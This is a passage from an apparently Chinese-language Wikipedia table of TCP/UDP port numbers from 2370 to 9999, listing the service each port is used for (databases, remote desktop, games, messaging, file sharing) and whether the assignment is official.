| 2370/TCP | Default port for [BMC软件公司](https://zh.wikipedia.org/wiki/BMC軟件公司) CONTROL-M/Server - Port utilized to allow the CONTROL-M/Enterprise Manager to connect to the CONTROL-M/Server - though often changed during installation | 非官方 |
| 2381/TCP | HP Insight Manager default port for webserver | 非官方 |
| 2404/TCP | IEC 60870-5-104 | 官方 |
| 2427/UDP | Cisco [MGCP](https://zh.wikipedia.org/w/index.php?title=MGCP&action=edit&redlink=1) | 官方 |
| 2447/TCP,UDP | ovwdb - [OpenView](https://zh.wikipedia.org/w/index.php?title=OpenView&action=edit&redlink=1) [Network Node Manager](https://zh.wikipedia.org/w/index.php?title=Network_Node_Manager&action=edit&redlink=1) (NNM) daemon | 官方 |
| 2483/TCP,UDP | [Oracle数据库](https://zh.wikipedia.org/wiki/Oracle数据库) listening port for unsecure client connections to the listener, replaces port 1521 | 官方 |
| 2484/TCP,UDP | [Oracle数据库](https://zh.wikipedia.org/wiki/Oracle数据库) listening port for SSL client connections to the listener | 官方 |
| 2546/TCP,UDP | Vytal Vault - Data Protection Services | 非官方 |
| 2593/TCP,UDP | RunUO - [网络创世纪](https://zh.wikipedia.org/wiki/网络创世纪) server | 非官方 |
| 2598/TCP | new ICA - when Session Reliability is enabled, TCP port 2598 replaces port 1494 | 非官方 |
| 2612/TCP,UDP | QPasa from MQSoftware | 官方 |
| 2710/TCP | XBT Bittorrent Tracker | 非官方 |
| 2710/UDP | XBT Bittorrent Tracker experimental UDP tracker extension | 非官方 |
| 2710/TCP | Knuddels.de | 非官方 |
| 2735/TCP,UDP | NetIQ Monitor Console | 官方 |
| 2809/TCP | corbaloc:iiop URL, per the [CORBA](https://zh.wikipedia.org/wiki/CORBA) 3.0.3 specification.Also used by IBM [IBM WebSphere Application Server](https://zh.wikipedia.org/wiki/IBM_WebSphere_Application_Server) Node Agent | 官方 |
| 2809/UDP | corbaloc:iiop URL, per the [CORBA](https://zh.wikipedia.org/wiki/CORBA) 3.0.3 specification. | 官方 |
| 2944/UDP | [Megaco](https://zh.wikipedia.org/wiki/Megaco) Text H.248 | 非官方 |
| 2945/UDP | [Megaco](https://zh.wikipedia.org/wiki/Megaco) Binary (ASN.1) H.248 | 非官方 |
| 2948/TCP,UDP | [无线应用协议](https://zh.wikipedia.org/wiki/无线应用协议)-push [多媒体简讯](https://zh.wikipedia.org/wiki/多媒體短訊) (MMS) | 官方 |
| 2949/TCP,UDP | [无线应用协议](https://zh.wikipedia.org/wiki/无线应用协议)-pushsecure [多媒体简讯](https://zh.wikipedia.org/wiki/多媒體短訊) (MMS) | 官方 |
| 2967/TCP | Symantec AntiVirus Corporate Edition | 非官方 |
| 3000/TCP | Miralix License server | 非官方 |
| 3000/UDP | [Distributed Interactive Simulation](https://zh.wikipedia.org/w/index.php?title=Distributed_Interactive_Simulation&action=edit&redlink=1) (DIS), modifiable default port | 非官方 |
| 3000/TCP | Puma Web Server | 非官方 |
| 3001/TCP | Miralix Phone Monitor | 非官方 |
| 3002/TCP | Miralix CSTA | 非官方 |
| 3003/TCP | Miralix GreenBox API | 非官方 |
| 3004/TCP | Miralix InfoLink | 非官方 |
| 3006/TCP | Miralix SMS Client Connector | 非官方 |
| 3007/TCP | Miralix OM Server | 非官方 |
| 3025/TCP | netpd.org | 非官方 |
| 3050/TCP,UDP | gds_db (Interbase/Firebird) | 官方 |
| 3074/TCP,UDP | [Xbox Live](https://zh.wikipedia.org/wiki/Xbox_Live) | 官方 |
| 3128/TCP | [超文本传输协议](https://zh.wikipedia.org/wiki/超文本传输协议) used by [Web缓存](https://zh.wikipedia.org/wiki/Web缓存)s and the default port for the [Squid (软件)](https://zh.wikipedia.org/wiki/Squid_(软件)) | 官方 |
| 3260/TCP | [ISCSI](https://zh.wikipedia.org/wiki/ISCSI) target | 官方 |
| 3268/TCP | msft-gc, Microsoft Global Catalog ([轻型目录访问协议](https://zh.wikipedia.org/wiki/轻型目录访问协议) service which contains data from [Active Directory](https://zh.wikipedia.org/wiki/Active_Directory) forests) | 官方 |
| 3269/TCP | msft-gc-ssl, Microsoft Global Catalog over SSL (similar to port 3268, [轻型目录访问协议](https://zh.wikipedia.org/wiki/轻型目录访问协议) over [传输层安全性协议](https://zh.wikipedia.org/wiki/傳輸層安全性協定) version) | 官方 |
| 3300/TCP | [TripleA](https://zh.wikipedia.org/w/index.php?title=TripleA_(computer_game)&action=edit&redlink=1) game server | 非官方 |
| 3305/TCP,UDP | [ODETTE-FTP](https://zh.wikipedia.org/w/index.php?title=ODETTE-FTP&action=edit&redlink=1) | 官方 |
| 3306/TCP,UDP | [MySQL](https://zh.wikipedia.org/wiki/MySQL)数据库系统 | 官方 |
| 3333/TCP | Network Caller ID server | 非官方 |
| 3386/TCP,UDP | [GTP'](https://zh.wikipedia.org/wiki/GTP') [3GPP](https://zh.wikipedia.org/wiki/3GPP) [GSM](https://zh.wikipedia.org/wiki/GSM)/[通用移动通讯系统](https://zh.wikipedia.org/wiki/通用移动通讯系统) [CDR](https://zh.wikipedia.org/w/index.php?title=Call_detail_record&action=edit&redlink=1) logging protocol | 官方 |
| 3389/TCP | [远程桌面协议](https://zh.wikipedia.org/wiki/遠端桌面協定)(RDP) | 官方 |
| 3396/TCP | [Novell](https://zh.wikipedia.org/wiki/Novell) NDPS Printer Agent | 官方 |
| 3689/TCP | [DAAP](https://zh.wikipedia.org/w/index.php?title=Digital_Audio_Access_Protocol&action=edit&redlink=1) Digital Audio Access Protocol used by [苹果公司](https://zh.wikipedia.org/wiki/蘋果公司) [ITunes](https://zh.wikipedia.org/wiki/ITunes) | 官方 |
| 3690/TCP | [Subversion](https://zh.wikipedia.org/wiki/Subversion) version control system | 官方 |
| 3702/TCP,UDP | [Web Services Dynamic Discovery](https://zh.wikipedia.org/w/index.php?title=Web_Services_Dynamic_Discovery&action=edit&redlink=1) (WS-Discovery), used by various components of [Windows Vista](https://zh.wikipedia.org/wiki/Windows_Vista) | 官方 |
| 3724/TCP | [魔兽世界](https://zh.wikipedia.org/wiki/魔兽世界) Online gaming MMORPG | 官方 |
| 3784/TCP,UDP | [Ventrilo](https://zh.wikipedia.org/w/index.php?title=Ventrilo&action=edit&redlink=1) VoIP program used by [Ventrilo](https://zh.wikipedia.org/w/index.php?title=Ventrilo&action=edit&redlink=1) | 官方 |
| 3785/UDP | [Ventrilo](https://zh.wikipedia.org/w/index.php?title=Ventrilo&action=edit&redlink=1) VoIP program used by [Ventrilo](https://zh.wikipedia.org/w/index.php?title=Ventrilo&action=edit&redlink=1) | 官方 |
| 3868 TCP,UDP | [Diameter base protocol](https://zh.wikipedia.org/w/index.php?title=Diameter_base_protocol&action=edit&redlink=1) | 官方 |
| 3872/TCP | Oracle Management Remote Agent | 非官方 |
| 3899/TCP | [Remote Administrator](https://zh.wikipedia.org/w/index.php?title=Remote_Administrator&action=edit&redlink=1) | 非官方 |
| 3900/TCP | [Unidata UDT OS](https://zh.wikipedia.org/w/index.php?title=Unidata_UDT_OS&action=edit&redlink=1) udt_os | 官方 |
| 3945/TCP | Emcads server service port, a Giritech product used by [G/On](https://zh.wikipedia.org/w/index.php?title=G/On&action=edit&redlink=1) | 官方 |
| 4000/TCP | [暗黑破坏神II](https://zh.wikipedia.org/wiki/暗黑破壞神II) game[NoMachine Network Server (nxd)](https://zh.wikipedia.org/w/index.php?title=NX_technology&action=edit&redlink=1) | 非官方 |
| 4007/TCP | PrintBuzzer printer monitoring socket server | 非官方 |
| 4089/TCP,UDP | OpenCORE Remote Control Service | 官方 |
| 4093/TCP,UDP | PxPlus Client server interface [ProvideX](https://zh.wikipedia.org/w/index.php?title=ProvideX&action=edit&redlink=1) | 官方 |
| 4096/UDP | Bridge-Relay Element [ASCOM](https://zh.wikipedia.org/w/index.php?title=ASCOM&action=edit&redlink=1) | 官方 |
| 4100 | WatchGuard Authentication Applet - default port | 非官方 |
| 4111/TCP,UDP | [Xgrid](https://zh.wikipedia.org/w/index.php?title=Xgrid&action=edit&redlink=1) | 官方 |
| 4111/TCP | [SharePoint](https://zh.wikipedia.org/wiki/SharePoint) - 默认管理端口 | 非官方 |
| 4226/TCP,UDP | [Aleph One (computer game)](https://zh.wikipedia.org/w/index.php?title=Aleph_One_(computer_game)&action=edit&redlink=1) | 非官方 |
| 4224/TCP | [思科系统](https://zh.wikipedia.org/wiki/思科系统) CDP Cisco discovery Protocol | 非官方 |
| 4569/UDP | [Inter-Asterisk eXchange](https://zh.wikipedia.org/w/index.php?title=Inter-Asterisk_eXchange&action=edit&redlink=1) | 非官方 |
| 4662/TCP | OrbitNet Message Service | 官方 |
| 4662/TCP | 通常用于[EMule](https://zh.wikipedia.org/wiki/EMule) | 非官方 |
| 4664/TCP | [Google桌面搜索](https://zh.wikipedia.org/wiki/Google桌面) | 非官方 |
| 4672/UDP | [EMule](https://zh.wikipedia.org/wiki/EMule) - 常用端口 | 非官方 |
| 4894/TCP | [LysKOM](https://zh.wikipedia.org/w/index.php?title=LysKOM&action=edit&redlink=1) Protocol A | 官方 |
| 4899/TCP | [Radmin](https://zh.wikipedia.org/w/index.php?title=Radmin&action=edit&redlink=1) 远程控制工具 | 官方 |
| 5000/TCP | commplex-main | 官方 |
| 5000/TCP | [UPnP](https://zh.wikipedia.org/wiki/UPnP) - Windows network device interoperability | 非官方 |
| 5000/TCP,UDP | [VTun](https://zh.wikipedia.org/w/index.php?title=VTun&action=edit&redlink=1) - [虚拟专用网](https://zh.wikipedia.org/wiki/虛擬私人網路) 软件 | 非官方 |
| 5001/TCP,UDP | Iperf (Tool for measuring TCP and UDP bandwidth performance) | 非官方 |
| 5001/TCP | [Slingbox](https://zh.wikipedia.org/w/index.php?title=Slingbox&action=edit&redlink=1)及Slingplayer | 非官方 |
| 5003/TCP | [FileMaker](https://zh.wikipedia.org/wiki/FileMaker) Filemaker Pro | 官方 |
| 5004/UDP | [实时传输协议](https://zh.wikipedia.org/wiki/实时传输协议)实时传输协议 | 官方 |
| 5005/UDP | [实时传输协议](https://zh.wikipedia.org/wiki/实时传输协议)实时传输协议 | 官方 |
| 5031/TCP,UDP | AVM CAPI-over-TCP ([综合业务数字网](https://zh.wikipedia.org/wiki/综合业务数字网) over [以太网](https://zh.wikipedia.org/wiki/以太网) tunneling) | 非官方 |
| 5050/TCP | [Yahoo! Messenger](https://zh.wikipedia.org/wiki/Yahoo!_Messenger) | 官方 |
| 5051/TCP | [ita-agent](https://zh.wikipedia.org/w/index.php?title=Ita-agent&action=edit&redlink=1) Symantec Intruder Alert | 官方 |
| 5060/TCP,UDP | [会话发起协议](https://zh.wikipedia.org/wiki/会话发起协议) (SIP) | 官方 |
| 5061/TCP | [会话发起协议](https://zh.wikipedia.org/wiki/会话发起协议) (SIP) over [传输层安全性协议](https://zh.wikipedia.org/wiki/傳輸層安全性協定) (TLS) | 官方 |
| 5093/UDP | [SPSS License Administrator](https://zh.wikipedia.org/w/index.php?title=SPSS_License_Administrator&action=edit&redlink=1) (SPSS) | 官方 |
| 5104/TCP | [IBM NetCOOL / IMPACT HTTP Service](https://zh.wikipedia.org/w/index.php?title=IBM_NetCOOL_/_IMPACT_HTTP_Service&action=edit&redlink=1) | 非官方 |
| 5106/TCP | [A-Talk](https://zh.wikipedia.org/w/index.php?title=Atalk&action=edit&redlink=1) Common connection | 非官方 |
| 5107/TCP | [A-Talk](https://zh.wikipedia.org/w/index.php?title=Atalk&action=edit&redlink=1) 远程服务器连接 | 非官方 |
| 5110/TCP | ProRat Server | 非官方 |
| 5121/TCP | [无冬之夜](https://zh.wikipedia.org/wiki/无冬之夜) | 官方 |
| 5176/TCP | ConsoleWorks default UI interface | 非官方 |
| 5190/TCP | [ICQ](https://zh.wikipedia.org/wiki/ICQ) and [AIM (应用程序)](https://zh.wikipedia.org/wiki/AIM_(應用程式)) | 官方 |
| 5222/TCP | [XMPP/Jabber](https://zh.wikipedia.org/wiki/可扩展消息与存在协议) - client connection | 官方 |
| 5223/TCP | [XMPP/Jabber](https://zh.wikipedia.org/wiki/可扩展消息与存在协议) - default port for SSL Client Connection | 非官方 |
| 5269/TCP | [XMPP/Jabber](https://zh.wikipedia.org/wiki/可扩展消息与存在协议)- server connection | 官方 |
| 5351/TCP,UDP | [NAT端口映射协议](https://zh.wikipedia.org/wiki/NAT端口映射协议),允许客户端在[网络地址转换](https://zh.wikipedia.org/wiki/网络地址转换)网关上配置传入映射 | 官方 |
| 5353/UDP | [mDNS](https://zh.wikipedia.org/w/index.php?title=MDNS&action=edit&redlink=1) - 多播DNS | |
| 5402/TCP,UDP | StarBurst AutoCast MFTP | 官方 |
| 5405/TCP,UDP | [NetSupport](https://zh.wikipedia.org/w/index.php?title=NetSupport&action=edit&redlink=1) | 官方 |
| 5421/TCP,UDP | [Net Support 2](https://zh.wikipedia.org/w/index.php?title=NetSupport&action=edit&redlink=1) | 官方 |
| 5432/TCP | [PostgreSQL](https://zh.wikipedia.org/wiki/PostgreSQL)数据库管理系统 | 官方 |
| 5445/UDP | [思科系统](https://zh.wikipedia.org/wiki/思科系统) Vidéo VT Advantage | 非官方 |
| 5495/TCP | [Applix](https://zh.wikipedia.org/w/index.php?title=Applix&action=edit&redlink=1) TM1 Admin server | 非官方 |
| 5498/TCP | [Hotline](https://zh.wikipedia.org/w/index.php?title=Hotline_Communications&action=edit&redlink=1) tracker server connection | 非官方 |
| 5499/UDP | [Hotline](https://zh.wikipedia.org/w/index.php?title=Hotline_Communications&action=edit&redlink=1) tracker server discovery | 非官方 |
| 5500/TCP | [VNC](https://zh.wikipedia.org/wiki/VNC) remote desktop protocol - for incoming listening viewer, [Hotline](https://zh.wikipedia.org/w/index.php?title=Hotline_Communications&action=edit&redlink=1) control connection | 非官方 |
| 5501/TCP | [Hotline](https://zh.wikipedia.org/w/index.php?title=Hotline_Communications&action=edit&redlink=1) file transfer connection | 非官方 |
| 5517/TCP | [Setiqueue](https://zh.wikipedia.org/w/index.php?title=Setiqueue&action=edit&redlink=1) Proxy server client for [SETI@home](https://zh.wikipedia.org/wiki/SETI@home) project | 非官方 |
| 5555/TCP | [Freeciv](https://zh.wikipedia.org/wiki/Freeciv) multiplay port for versions up to 2.0, [惠普](https://zh.wikipedia.org/wiki/惠普) Data Protector, [会话通告协议](https://zh.wikipedia.org/wiki/會話通告協議) | 非官方 |
| 5556/TCP | [Freeciv](https://zh.wikipedia.org/wiki/Freeciv) multiplay port | 官方 |
| 5631/TCP | [赛门铁克](https://zh.wikipedia.org/wiki/赛门铁克) pcAnywhere | 官方 |
| 5632/UDP | [赛门铁克](https://zh.wikipedia.org/wiki/赛门铁克) pcAnywhere | 官方 |
| 5666/TCP | NRPE (Nagios) | 非官方 |
| 5667/TCP | NSCA (Nagios) | 非官方 |
| 5800/TCP | [VNC](https://zh.wikipedia.org/wiki/VNC) remote desktop protocol - for use over [超文本传输协议](https://zh.wikipedia.org/wiki/超文本传输协议) | 非官方 |
| 5814/TCP,UDP | [惠普](https://zh.wikipedia.org/wiki/惠普) Support Automation (HP OpenView Self-Healing Services) | 官方 |
| 5900/TCP | [VNC](https://zh.wikipedia.org/wiki/VNC) remote desktop protocol (used by [ARD](https://zh.wikipedia.org/wiki/Apple远程桌面)) | 官方 |
| 6000/TCP | [X窗口系统](https://zh.wikipedia.org/wiki/X_Window系統) - used between an X client and server over the network | 官方 |
| 6001/UDP | [X窗口系统](https://zh.wikipedia.org/wiki/X_Window系統) - used between an X client and server over the network | 官方 |
| 6005/TCP | Default port for [BMC软件公司](https://zh.wikipedia.org/wiki/BMC軟件公司) CONTROL-M/Server - Socket Port number used for communication between CONTROL-M processes - though often changed during installation | 非官方 |
| 6050/TCP | Brightstor Arcserve Backup | 非官方 |
| 6051/TCP | Brightstor Arcserve Backup | 非官方 |
| 6100/TCP | Vizrt System | 非官方 |
| 6110/TCP,UDP | softcm [HP SoftBench](https://zh.wikipedia.org/w/index.php?title=HP_SoftBench&action=edit&redlink=1) CM | 官方 |
| 6111/TCP,UDP | spc [HP SoftBench](https://zh.wikipedia.org/w/index.php?title=HP_SoftBench&action=edit&redlink=1) Sub-Process Control | 官方 |
| 6112/TCP | dtspcd - a network daemon that accepts requests from clients to execute commands and launch applications remotely | 官方 |
| 6112/TCP | [暴雪娱乐](https://zh.wikipedia.org/wiki/暴雪娛樂)'s [暴雪战网](https://zh.wikipedia.org/wiki/暴雪战网) gaming service, [ArenaNet](https://zh.wikipedia.org/wiki/ArenaNet) gaming service | 官方 |
| 6129/TCP | [Dameware Remote Control](https://zh.wikipedia.org/w/index.php?title=Dameware&action=edit&redlink=1) | 非官方 |
| 6257/UDP | [WinMX](https://zh.wikipedia.org/wiki/WinMX) (参见6699端口) | 非官方 |
| 6346/TCP,UDP | [gnutella-svc](https://zh.wikipedia.org/wiki/Gnutella) ([FrostWire](https://zh.wikipedia.org/wiki/FrostWire), [LimeWire](https://zh.wikipedia.org/wiki/LimeWire), [Bearshare](https://zh.wikipedia.org/w/index.php?title=Bearshare&action=edit&redlink=1), etc.) | 官方 |
| 6347/TCP,UDP | gnutella-rtr | 官方 |
| 6379/TCP | [Redis](https://zh.wikipedia.org/wiki/Redis) - Redis | 非官方 |
| 6444/TCP,UDP | [Oracle Grid Engine](https://zh.wikipedia.org/wiki/Oracle_Grid_Engine) - Qmaster Service | 官方 |
| 6445/TCP,UDP | [Oracle Grid Engine](https://zh.wikipedia.org/wiki/Oracle_Grid_Engine) - Execution Service | 官方 |
| 6502/TCP,UDP | Danware Data NetOp Remote Control | 非官方 |
| 6522/TCP | [Gobby](https://zh.wikipedia.org/w/index.php?title=Gobby&action=edit&redlink=1) (and other libobby-based software) | 非官方 |
| 6543/UDP | [Jetnet](https://zh.wikipedia.org/w/index.php?title=Jetnet&action=edit&redlink=1) - default port that the [Paradigm Research & Development](https://zh.wikipedia.org/w/index.php?title=Paradigm_Research_%26_Development&action=edit&redlink=1) [Jetnet](https://zh.wikipedia.org/w/index.php?title=Jetnet&action=edit&redlink=1) protocol communicates on | 非官方 |
| 6566/TCP | [SANE](https://zh.wikipedia.org/w/index.php?title=Scanner_Access_Now_Easy&action=edit&redlink=1) (Scanner Access Now Easy) - SANE network scanner daemon | 非官方 |
| 6600/TCP | [Music Playing Daemon (MPD)](https://zh.wikipedia.org/w/index.php?title=Music_Player_Daemon&action=edit&redlink=1) | 非官方 |
| 6619/TCP,UDP | ODETTE-FTP over TLS/SSL | 官方 |
| 6665-6669/TCP | [IRC](https://zh.wikipedia.org/wiki/IRC) | 官方 |
| 6679/TCP | [IRC](https://zh.wikipedia.org/wiki/IRC) SSL (安全互联网中继聊天) - 通常使用的端口 | 非官方 |
| 6697/TCP | [IRC](https://zh.wikipedia.org/wiki/IRC) SSL (安全互联网中继聊天) - 通常使用的端口 | 非官方 |
| 6699/TCP | [WinMX](https://zh.wikipedia.org/wiki/WinMX) (参见6257端口) | 非官方 |
| 6881-6999/TCP,UDP | [BitTorrent](https://zh.wikipedia.org/wiki/BitTorrent_(协议)) 通常使用的端口 | 非官方 |
| 6891-6900/TCP,UDP | [Windows Live Messenger](https://zh.wikipedia.org/wiki/Windows_Live_Messenger) (文件传输) | 官方 |
| 6901/TCP,UDP | [Windows Live Messenger](https://zh.wikipedia.org/wiki/Windows_Live_Messenger) (语音) | 官方 |
| 6969/TCP | [acmsoda](https://zh.wikipedia.org/w/index.php?title=Acmsoda&action=edit&redlink=1) | 官方 |
| 6969/TCP | [BitTorrent](https://zh.wikipedia.org/wiki/BitTorrent_(协议)) tracker port | 非官方 |
| 7000/TCP | Default port for [Azureus](https://zh.wikipedia.org/wiki/Vuze)'s built in [超文本传输安全协议](https://zh.wikipedia.org/wiki/超文本传输安全协议) [BitTorrent tracker](https://zh.wikipedia.org/wiki/BitTorrent_tracker) | 非官方 |
| 7001/TCP | Default port for [BEA](https://zh.wikipedia.org/wiki/BEA_Systems) [WebLogic Server](https://zh.wikipedia.org/wiki/WebLogic)'s [超文本传输协议](https://zh.wikipedia.org/wiki/超文本传输协议) server - though often changed during installation | 非官方 |
| 7002/TCP | Default port for [BEA](https://zh.wikipedia.org/wiki/BEA_Systems) [WebLogic Server](https://zh.wikipedia.org/wiki/WebLogic)'s [超文本传输安全协议](https://zh.wikipedia.org/wiki/超文本传输安全协议) server - though often changed during installation | 非官方 |
| 7005/TCP,UDP | Default port for [BMC软件公司](https://zh.wikipedia.org/wiki/BMC軟件公司) CONTROL-M/Server and CONTROL-M/Agent's - Agent to Server port though often changed during installation | 非官方 |
| 7006/TCP,UDP | Default port for [BMC软件公司](https://zh.wikipedia.org/wiki/BMC軟件公司) CONTROL-M/Server and CONTROL-M/Agent's - Server to Agent port though often changed during installation | 非官方 |
| 7010/TCP | Default port for Cisco AON AMC (AON Management Console) [[4\]](https://zh.wikipedia.org/zh-sg/TCP/UDP端口列表#cite_note-4) | 非官方 |
| 7025/TCP | Zimbra - lmtp [mailbox] - local mail delivery | 非官方 |
| 7047/TCP | Zimbra - conversion server | 非官方 |
| 7171/TCP | [Tibia](https://zh.wikipedia.org/w/index.php?title=Tibia_(computer_game)&action=edit&redlink=1) | |
| 7306/TCP | Zimbra - mysql [mailbox] | 非官方 |
| 7307/TCP | Zimbra - mysql [logger] - logger | 非官方 |
| 7312/UDP | [Sibelius](https://zh.wikipedia.org/w/index.php?title=Sibelius_notation_program&action=edit&redlink=1) License Server port | 非官方 |
| 7670/TCP | [BrettSpielWelt](https://zh.wikipedia.org/wiki/BrettSpielWelt) BSW Boardgame Portal | 非官方 |
| 7680/TCP | 适用于[Windows 10](https://zh.wikipedia.org/wiki/Windows_10)更新的[传递优化](https://zh.wikipedia.org/w/index.php?title=傳遞最佳化&action=edit&redlink=1) | 官方 |
| 7777/TCP | Default port used by Windows backdoor program tini.exe | 非官方 |
| 8000/TCP | [iRDMI](https://zh.wikipedia.org/w/index.php?title=IRDMI&action=edit&redlink=1) - often mistakenly used instead of port 8080 (The Internet Assigned Numbers Authority (iana.org) officially lists this port for iRDMI protocol) | 官方 |
| 8000/TCP | Common port used for internet radio streams such as those using [SHOUTcast](https://zh.wikipedia.org/wiki/SHOUTcast) | 非官方 |
| 8002/TCP | Cisco Systems Unified Call Manager Intercluster Port | |
| 8008/TCP | [超文本传输协议](https://zh.wikipedia.org/wiki/超文本传输协议) 替代端口 | 官方 |
| 8008/TCP | [IBM HTTP Server](https://zh.wikipedia.org/w/index.php?title=IBM_HTTP_Server&action=edit&redlink=1) 默认管理端口 | 非官方 |
| 8009/TCP | [阿帕契族](https://zh.wikipedia.org/wiki/阿帕契族) [JServ](https://zh.wikipedia.org/w/index.php?title=JServ&action=edit&redlink=1) 协议 v13 (ajp13) 例如:Apache mod_jk [Tomcat](https://zh.wikipedia.org/wiki/Apache_Tomcat)会使用。 | 非官方 |
| 8010/TCP | [XMPP/Jabber](https://zh.wikipedia.org/wiki/Jabber) 文件传输 | 非官方 |
| 8074/TCP | [Gadu-Gadu](https://zh.wikipedia.org/w/index.php?title=Gadu-Gadu&action=edit&redlink=1) | 非官方 |
| 8080/TCP | [超文本传输协议](https://zh.wikipedia.org/wiki/超文本传输协议) 替代端口 (http_alt) - commonly used for [代理服务器](https://zh.wikipedia.org/wiki/代理服务器) and [caching](https://zh.wikipedia.org/w/index.php?title=Caching&action=edit&redlink=1) server, or for running a web server as a non-[Root](https://zh.wikipedia.org/wiki/Root) user | 官方 |
| 8080/TCP | [Apache Tomcat](https://zh.wikipedia.org/wiki/Apache_Tomcat) | 非官方 |
| 8086/TCP | [HELM](https://zh.wikipedia.org/w/index.php?title=HELM&action=edit&redlink=1) Web Host Automation Windows Control Panel | 非官方 |
| 8086/TCP | [Kaspersky](https://zh.wikipedia.org/wiki/Kaspersky) AV Control Center TCP Port | 非官方 |
| 8087/TCP | [Hosting Accelerator](https://zh.wikipedia.org/w/index.php?title=Hosting_Accelerator&action=edit&redlink=1) Control Panel | 非官方 |
| 8087/UDP | [Kaspersky](https://zh.wikipedia.org/wiki/Kaspersky) AV Control Center UDP Port | 非官方 |
| 8087/TCP | [英迈](https://zh.wikipedia.org/wiki/英邁) 控制面板 | 非官方 |
| 8090/TCP | Another [超文本传输协议](https://zh.wikipedia.org/wiki/超文本传输协议) Alternate (http_alt_alt) - used as an alternative to port 8080 | 非官方 |
| 8118/TCP | [Privoxy](https://zh.wikipedia.org/wiki/Privoxy) web proxy - advertisements-filtering web proxy | 官方 |
| 8123/TCP | Dynmap[[5\]](https://zh.wikipedia.org/zh-sg/TCP/UDP端口列表#cite_note-5)默认网页端口号(Minecraft在线地图) | 非官方 |
| 8200/TCP | [GoToMyPC](https://zh.wikipedia.org/w/index.php?title=GoToMyPC&action=edit&redlink=1) | 非官方 |
| 8220/TCP | [Bloomberg](https://zh.wikipedia.org/wiki/彭博终端) | 非官方 |
| 8222 | [VMware](https://zh.wikipedia.org/wiki/VMware)服务器管理用户界面(不安全网络界面)[[6\]](https://zh.wikipedia.org/zh-sg/TCP/UDP端口列表#cite_note-#1-6)。参见 8333端口 | 非官方 |
| 8291/TCP | Winbox - Default port on a MikroTik RouterOS for a Windows application used to administer MikroTik RouterOS | 非官方 |
| 8294/TCP | [Bloomberg](https://zh.wikipedia.org/wiki/彭博终端) | 非官方 |
| 8333 | [VMware](https://zh.wikipedia.org/wiki/VMware) 服务器管理用户界面(安全网络界面)[[6\]](https://zh.wikipedia.org/zh-sg/TCP/UDP端口列表#cite_note-#1-6)。参见8222端口 | 非官方 |
| 8400 | [Commvault](https://zh.wikipedia.org/w/index.php?title=Commvault&action=edit&redlink=1) Unified Data Management | 官方 |
| 8443/TCP | [英迈](https://zh.wikipedia.org/wiki/英邁) Control Panel | 非官方 |
| 8500/TCP | [Adobe ColdFusion](https://zh.wikipedia.org/wiki/Adobe_ColdFusion) Macromedia/Adobe ColdFusion default Webserver port | 非官方 |
| 8501/UDP | [毁灭公爵3D](https://zh.wikipedia.org/wiki/毁灭公爵3D) - Default Online Port | 官方 |
| 8767/UDP | [TeamSpeak](https://zh.wikipedia.org/wiki/TeamSpeak) - Default UDP Port | 非官方 |
| 8880 | [IBM WebSphere Application Server](https://zh.wikipedia.org/wiki/IBM_WebSphere_Application_Server) [简单对象访问协议](https://zh.wikipedia.org/wiki/简单对象访问协议) Connector port | |
| 8881/TCP | [Atlasz Informatics Research Ltd](https://zh.wikipedia.org/w/index.php?title=Atlasz_Informatics_Research_Ltd&action=edit&redlink=1) Secure Application Server | 非官方 |
| 8882/TCP | [Atlasz Informatics Research Ltd](https://zh.wikipedia.org/w/index.php?title=Atlasz_Informatics_Research_Ltd&action=edit&redlink=1) Secure Application Server | 非官方 |
| 8888/TCP,UDP | [NewsEDGE](https://zh.wikipedia.org/w/index.php?title=NewsEDGE&action=edit&redlink=1) server | 官方 |
| 8888/TCP | [Sun Answerbook](https://zh.wikipedia.org/w/index.php?title=Sun_Answerbook&action=edit&redlink=1) [网页服务器](https://zh.wikipedia.org/wiki/網頁伺服器) server (deprecated by [docs.sun.com](https://web.archive.org/web/20080222182837/http://docs.sun.com/app/docs)) | 非官方 |
| 8888/TCP | [GNUmp3d](https://zh.wikipedia.org/w/index.php?title=GNUmp3d&action=edit&redlink=1) HTTP music streaming and web interface port | 非官方 |
| 8888/TCP | [英雄大作战](https://zh.wikipedia.org/wiki/英雄大作戰) Network Game Server | 非官方 |
| 9000/TCP | Buffalo LinkSystem web access | 非官方 |
| 9000/TCP | [DBGp](https://zh.wikipedia.org/w/index.php?title=DBGp&action=edit&redlink=1) | 非官方 |
| 9000/UDP | [UDPCast](https://zh.wikipedia.org/w/index.php?title=UDPCast&action=edit&redlink=1) | 非官方 |
| 9000 | [PHP](https://zh.wikipedia.org/wiki/PHP) - php-fpm | 非官方 |
| 9001 | cisco-xremote router configuration | 非官方 |
| 9001 | [Tor](https://zh.wikipedia.org/wiki/Tor) network default port | 非官方 |
| 9001/TCP | [DBGp](https://zh.wikipedia.org/w/index.php?title=DBGp&action=edit&redlink=1) Proxy | 非官方 |
| 9002 | Default [ElasticSearch](https://zh.wikipedia.org/w/index.php?title=ElasticSearch&action=edit&redlink=1) port | |
| 9009/TCP,UDP | [Pichat Server](https://zh.wikipedia.org/w/index.php?title=Pichat&action=edit&redlink=1) - Peer to peer chat software | 官方 |
| 9043/TCP | [IBM WebSphere Application Server](https://zh.wikipedia.org/wiki/IBM_WebSphere_Application_Server) Administration Console secure port | |
| 9060/TCP | [IBM WebSphere Application Server](https://zh.wikipedia.org/wiki/IBM_WebSphere_Application_Server) Administration Console | |
| 9100/TCP | [Jetdirect](https://zh.wikipedia.org/w/index.php?title=Jetdirect&action=edit&redlink=1) HP Print Services | 官方 |
| 9110/UDP | [SSMP](https://zh.wikipedia.org/w/index.php?title=SSMP&action=edit&redlink=1) Message protocol | 非官方 |
| 9101 | [Bacula](https://zh.wikipedia.org/w/index.php?title=Bacula&action=edit&redlink=1) Director | 官方 |
| 9102 | [Bacula](https://zh.wikipedia.org/w/index.php?title=Bacula&action=edit&redlink=1) File Daemon | 官方 |
| 9103 | [Bacula](https://zh.wikipedia.org/w/index.php?title=Bacula&action=edit&redlink=1) Storage Daemon | 官方 |
| 9119/TCP,UDP | [Mxit](https://zh.wikipedia.org/wiki/Mxit) Instant Messenger | 官方 |
| 9535/TCP | man, Remote Man Server | |
| 9535 | mngsuite - Management Suite Remote Control | 官方 |
| 9800/TCP,UDP | [基于Web的分布式编写和版本控制](https://zh.wikipedia.org/wiki/基于Web的分布式编写和版本控制) Source Port | 官方 |
| 9800 | [WebCT](https://zh.wikipedia.org/wiki/WebCT) e-learning portal | 非官方 |
| 9999 | [Hydranode](https://zh.wikipedia.org/w/index.php?title=Hydranode&action=edit&redlink=1) - edonkey2000 telnet control port | 非官方 |
| 9999 | Urchin Web Analytics | 非官方 |
